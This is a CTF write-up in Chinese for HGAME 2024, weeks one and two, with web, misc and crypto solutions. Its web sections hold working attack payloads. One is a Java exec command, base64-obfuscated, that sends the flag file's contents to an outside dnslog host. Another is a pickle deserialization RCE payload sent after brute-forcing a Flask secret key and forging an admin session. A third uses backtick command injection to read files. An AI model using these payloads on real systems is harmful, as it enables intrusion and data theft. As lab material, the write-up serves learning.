2024HgameCTF

Week1

Web

2048*16

js源码找到密文

image-20240201192009879

码表

image-20240201192132693

base64解密

image-20240201192150612

jhat

第一次明白了dnslog不算出网。。。。

1
java.lang.Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC41aDlqMXMuZG5zbG9nLmNu}|{base64,-d}|{bash,-i}")

Misc

来自星尘的问候

https://my1l.github.io/Ctrl/CtrlAstr.html

希尔希尔希尔

修复图片得到

stegslove lsb隐写得到key

image-20240131225804039

1
KEY:[[8  7][3 8]];A=0

010发现图片藏有txt文件

image-20240131225851287

改为zip,得到密文

CVOCRJGMKLDJGBQIUIVXHEYLPNWR

希尔密码解密

image-20240131225935086

hgame{DISAPPEARINTHESEAOFBUTTERFLY}

Crypto

ezMath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
import gmpy2

D = 114514


# gmpy2解决佩尔方程
def solve_pells_equation(D):
# 连分数解法
sqrt_D = gmpy2.isqrt(D)
if sqrt_D * sqrt_D == D:
raise ValueError("D should not be a perfect square")

a0 = sqrt_D
period = []
m = 0
d = 1
a = a0

while True:
m = d * a - m
d = (D - m * m) // d
a = (a0 + m) // d
period.append(a)

# 检查周期的一个属性
if a == 2 * a0:
break

# 使用连分数周期计算解
p0, q0 = 1, 0
p1, q1 = a0, 1
for a in period[:-1]:
p0, p1 = p1, a * p1 + p0
q0, q1 = q1, a * q1 + q0

return p1, q1


# 解密AES ECB函数
def decrypt_aes_ecb(encrypted, key):
cipher = AES.new(key, AES.MODE_ECB)
return cipher.decrypt(encrypted)


# 解决佩尔方程
x, y = solve_pells_equation(D)

# 生成AES密钥
key = long_to_bytes(y)
key = key[:16] # AES密钥需要是16字节长

# 给定的加密数据
enc = b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"

# 尝试解密
try:
flag = decrypt_aes_ecb(enc, key)
print(f'flag={flag}')
except Exception as e:
print(f'Error: {e}')

ezRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import inverse, long_to_bytes

# 已给出的泄露值和密文
leak1 = 149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669
leak2 = 116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461
c = 10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971

# 由于leak1和leak2分别等于p和q,我们可以直接赋值
p = leak1
q = leak2

# 计算n和phi
n = p * q
phi = (p - 1) * (q - 1)

# 已知的公钥指数e
e = 0x10001

# 计算私钥指数d
d = inverse(e, phi)

# 解密密文c
m = pow(c, d, n)

# 将解密后的明文m转换为字节串
flag = long_to_bytes(m)

# 打印出flag
print(flag)

奇怪的图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
from PIL import Image


def xor_images(image_path1, image_path2, output_path):
image1 = Image.open(image_path1)
image2 = Image.open(image_path2)

if image1.size != image2.size:
raise ValueError("Images must have the same dimensions.")

xor_image = Image.new("RGB", image1.size)
pixels1 = image1.load()
pixels2 = image2.load()
xor_pixels = xor_image.load()

for x in range(image1.size[0]):
for y in range(image1.size[1]):
r1, g1, b1 = pixels1[x, y]
r2, g2, b2 = pixels2[x, y]
xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)

xor_image.save(output_path)


def batch_xor_images(encrypted_images_dir, key_image_path, output_dir):
if not os.path.exists(output_dir):
os.makedirs(output_dir)

for filename in os.listdir(encrypted_images_dir):
if filename.endswith(".png"): # 或者根据需要调整文件类型
encrypted_image_path = os.path.join(encrypted_images_dir, filename)
output_image_path = os.path.join(output_dir, f"recovered_{filename}")
xor_images(encrypted_image_path, key_image_path, output_image_path)
print(f"Recovered image saved to {output_image_path}")


# 示例使用
encrypted_images_dir = "png_out" # 加密图片所在的文件夹路径
key_image_path = "4.png" # 密钥图片的路径
output_dir = "output1" # 恢复后的图片将被保存到这个文件夹

batch_xor_images(encrypted_images_dir, key_image_path, output_dir)

根据对图片加密脚本可知,图片是被异或且被随机分配名字

我们需要确定那张图片是key_image,然后用key_image去和其他图片异或得到原图片

经过测试,发现4.png是key_image(图片名是我自设定的)需要自己去实验

找KEY的方法:每隔图片与其他图片异或,观察图片中的顺序

利用4.png与其他图片异或,结果按文件大小排序image-20240204160120590

根据顺序可看出flag

hgame{1adf_17eb_803c}

Week2

Web

myflask

访问自动下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
session['username'] = 'guest'
return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
if not session:
return 'There is no session available in your client :('
if request.method == 'GET':
return 'You are {} now'.format(session['username'])

# For POST requests from admin
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return 'Access Denied'

if __name__=='__main__':
app.run(debug=True, host="0.0.0.0")

里面需要成为admin,先伪造session,但是key是时间戳

写个脚本爆破一下时间戳

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from datetime import datetime, timedelta
import pytz


def write_formatted_timestamps_to_file(file_path, delta_minutes=50):
# 设置时区为Asia/Shanghai
timezone = pytz.timezone('Asia/Shanghai')
# 获取当前时间
current_time = datetime.now(timezone)

# 计算前后50分钟的时间范围
start_time = current_time - timedelta(minutes=delta_minutes)
end_time = current_time + timedelta(minutes=delta_minutes)

# 生成格式化的时间戳并写入txt文件
with open(file_path, 'w') as file:
delta = timedelta(seconds=1)
current = start_time
while current <= end_time:
formatted_time = current.strftime("%H%M%S")
file.write(f"{formatted_time}\n")
current += delta


# 调用函数,将结果写入到formatted_timestamps.txt文件中
write_formatted_timestamps_to_file('formatted_timestamps.txt')

利用flask_unsign爆破

image-20240206123208200

session加密

image-20240206123215504

1
2
3
4
5
6
7
8
9
10
11
import base64
import pickle
import urllib
class genpoc(object):
def __reduce__(self):
cmd = 'cat /f*' # 要执行的命令
s = "__import__('os').popen('{}').read()".format(cmd)
return (eval, (s,)) # reduce函数必须返回元组或字符串

poc = pickle.dumps(genpoc())
print(base64.b64encode(poc))

linux环境下跑,POST提交

1
pickle_data=gASVRAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwoX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mKicpLnJlYWQoKZSFlFKULg==

What the cow say?

可爱的小牛牛,反引号可以执行命令

1
`paste /f*/f*`

Misc

ezword

word改zip,在word/media文档有压缩包和两张图片

图片进行盲水印image-20240206200517506

得到压缩包密码T1hi3sI4sKey

压缩包里一串英文

这个网站去解密

https://www.spammimic.com/decode.cgi

得到

1
籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆

之后rot8000解密 在最新版赛博厨子

image-20240206200730676

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
s = '籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆'
hanzi = s.encode('unicode_escape')
print(hanzi)
st = hanzi.decode("utf-8")
print(st.replace("\\u", " ").replace('7c',''))
s = '71 70 6a 76 6e 84 39 74 68 82 78 7e 68 39 75 7f 6e 68 6a 75 3a 68 7d 71 3c 68 6e 6c 7b 3c 7d 86'
s = s.replace(' ',' 7c ')
s1 = s.split()
lst = []
for i in range(len(s1)):
hex_num = int(s1[i],16) - 9
print(hex_num)
lst.append(hex(hex_num)[2:])
print(lst)
s3 = (''.join(chr(int(i,16))) for i in lst)
for i in s3:
print(i,end='')

龙之舞

wav看看频谱图(截图垂直翻转了)

image-20240206195946035

得到密码5H8w1nlWCX3hQLG

deepsound解密得到xxx.zip

image-20240206200042493压缩包里一个gif

分帧得到270多张图片

其中有4张有部分二维码

拼起来得到

image-20240206200320289

解密

image-20240206200348668

得到flag

hgame{drag0n_1s_d4nc1ng}

Crypto

midRSA

明文直接拿去转字符串就好

backpack

同上

midRSA

小e攻击

image-20240207115655864

hgame{c0ppr3smith_St3re0typed_m3ssag3s}